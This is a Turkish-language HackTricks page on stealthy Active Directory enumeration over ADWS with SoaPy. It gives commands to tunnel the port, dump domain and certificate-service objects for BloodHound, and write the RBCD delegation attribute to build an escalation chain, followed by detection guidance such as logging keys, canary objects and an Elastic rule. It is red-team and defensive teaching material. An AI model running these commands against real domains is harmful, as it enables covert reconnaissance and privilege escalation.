Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
ADWS Nedir?
Active Directory Web Services (ADWS), Windows Server 2008 R2'den itibaren her Domain Controller'da varsayılan olarak etkinleştirilmiştir ve TCP 9389 üzerinde dinler. İsimden dolayı, HTTP kullanılmaz. Bunun yerine, hizmet, özel .NET çerçeve protokolleri yığını aracılığıyla LDAP tarzı verileri açığa çıkarır:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Trafik bu ikili SOAP çerçeveleri içinde kapsüllenmiş olduğundan ve alışılmadık bir port üzerinden seyahat ettiğinden, ADWS üzerinden yapılan enumeration, klasik LDAP/389 & 636 trafiğine göre çok daha az muhtemel olarak incelenecek, filtrelenecek veya imzalanacaktır. Operatörler için bu, şunları ifade eder:
- Daha gizli keşif – Mavi takımlar genellikle LDAP sorgularına odaklanır.
- Windows dışı hostlardan (Linux, macOS) 9389/TCP'yi bir SOCKS proxy üzerinden tünelleme özgürlüğü.
- LDAP üzerinden elde edeceğiniz aynı veriler (kullanıcılar, gruplar, ACL'ler, şema vb.) ve yazma yeteneği (örneğin, RBCD için
msDs-AllowedToActOnBehalfOfOtherIdentity
).
NOT: ADWS, birçok RSAT GUI/PowerShell aracı tarafından da kullanıldığından, trafik meşru yönetici etkinliği ile karışabilir.
SoaPy – Yerel Python İstemcisi
SoaPy, ADWS protokol yığınının saf Python'da tam yeniden uygulanmasıdır. NBFX/NBFSE/NNS/NMF çerçevelerini byte byte oluşturur, böylece Unix benzeri sistemlerden .NET çalışma zamanına dokunmadan veri toplayabilirsiniz.
Ana Özellikler
- SOCKS üzerinden proxy desteği (C2 implantlarından faydalı).
- LDAP
-q '(objectClass=user)'
ile aynı ince ayarlı arama filtreleri. - Opsiyonel yazma işlemleri (
--set
/--delete
). - BloodHound'a doğrudan alım için BOFHound çıktı modu.
- İnsan okunabilirliği gerektiğinde zaman damgalarını /
userAccountControl
'ü güzelleştirmek için--parse
bayrağı.
Kurulum (operatör hostu)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
Stealth AD Collection Workflow
Aşağıdaki iş akışı, domain & ADCS nesnelerini ADWS üzerinden nasıl listeleyeceğinizi, bunları BloodHound JSON formatına dönüştüreceğinizi ve sertifika tabanlı saldırı yollarını nasıl avlayacağınızı göstermektedir – tüm bunlar Linux'tan:
-
Hedef ağdan kutunuza 9389/TCP tüneli açın (örneğin Chisel, Meterpreter, SSH dinamik port yönlendirmesi vb. aracılığıyla).
export HTTPS_PROXY=socks5://127.0.0.1:1080
veya SoaPy’nin--proxyHost/--proxyPort
seçeneğini kullanın. -
Kök alan nesnesini toplayın:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Yapılandırma NC'den ADCS ile ilgili nesneleri toplayın:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- BloodHound'a Dönüştür:
bofhound -i data --zip # produces BloodHound.zip
- ZIP'i BloodHound GUI'sine yükleyin ve
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c
gibi cypher sorguları çalıştırarak sertifika yükseltme yollarını (ESC1, ESC8, vb.) ortaya çıkarın.
msDs-AllowedToActOnBehalfOfOtherIdentity
(RBCD) Yazma
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
s4u2proxy
/Rubeus /getticket
ile birleştirerek tam bir Kaynak Tabanlı Kısıtlı Delegasyon zinciri oluşturun.
Tespit ve Güçlendirme
Ayrıntılı ADDS Günlüğü
ADWS (ve LDAP) kaynaklı maliyetli / verimsiz aramaları ortaya çıkarmak için Alan Denetleyicileri üzerinde aşağıdaki kayıt defteri anahtarlarını etkinleştirin:
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
Olaylar Directory-Service altında tam LDAP filtresi ile görünecektir, sorgu ADWS üzerinden geldiğinde bile.
SACL Canary Nesneleri
- Bir sahte nesne oluşturun (örneğin, devre dışı kullanıcı
CanaryUser
). - Everyone ilkesi için Audit ACE'si ekleyin, ReadProperty üzerinde denetlendi.
- Bir saldırgan
(servicePrincipalName=*)
,(objectClass=user)
vb. işlemleri gerçekleştirdiğinde, DC gerçek kullanıcı SID'sini içeren Event 4662'yi yayar – istek proxy üzerinden gelse veya ADWS'den kaynaklansa bile.
Elastic önceden oluşturulmuş kural örneği:
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
Araç Özeti
Amaç | Araç | Notlar |
---|---|---|
ADWS enumeration | SoaPy | Python, SOCKS, okuma/yazma |
BloodHound ingest | BOFHound | SoaPy/ldapsearch günlüklerini dönüştürür |
Sertifika ihlali | Certipy | Aynı SOCKS üzerinden proxy yapılabilir |
Referanslar
- SpecterOps – SOAP(y) Kullanmayı Unutmayın – ADWS Kullanarak Gizli AD Toplama için Bir Operatör Rehberi
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF spesifikasyonları
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.